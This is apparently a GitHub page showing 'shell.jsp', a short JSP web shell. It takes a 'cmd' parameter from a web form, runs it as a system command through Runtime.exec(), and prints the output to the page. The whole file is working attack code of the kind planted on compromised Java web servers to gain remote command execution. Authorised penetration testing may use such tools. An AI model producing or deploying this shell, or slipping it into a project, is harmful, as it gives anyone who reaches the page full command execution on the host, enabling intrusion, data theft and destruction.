-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathshell.jsp
More file actions
25 lines (24 loc) · 704 Bytes
/
shell.jsp
File metadata and controls
25 lines (24 loc) · 704 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<FORM METHOD=GET ACTION='shell.jsp'>
<INPUT id='cmd' style="width:50%" name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<script>
var input = document.getElementById("cmd");
input.focus();
input.select();
</script>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>